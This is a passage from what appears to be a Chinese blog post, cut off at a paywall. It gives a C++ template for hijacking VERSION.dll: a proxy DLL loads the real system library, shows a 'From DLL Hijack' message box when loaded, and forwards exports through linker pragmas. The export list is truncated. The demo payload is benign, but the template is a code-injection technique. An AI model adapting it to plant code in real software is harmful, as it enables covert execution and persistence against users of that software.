// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
// 绝对路径加载VERSION.dll
::LoadLibrary("C:\\Windows\\System32\\VERSION.dll");
::MessageBox(NULL, "调用函数方法", "From DLL Hijack", MB_OK | MB_ICONWARNING);
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
// 卸载VERSION.dll
HMODULE hDll = ::GetModuleHandle("C:\\Windows\\System32\\VERSION.dll");
if (hDll)
{
::FreeLibrary(hDll);
}
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
break;
}
return TRUE;
}
// 导出
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_DG_GetFileVersionInfoByHandle,@2")
#<
version.dll劫持注入模版
DLL劫持与版本信息函数重定向
最新推荐文章于 2025-11-07 16:11:55 发布

最低0.47元/天 解锁文章
7683

被折叠的 条评论
为什么被折叠?



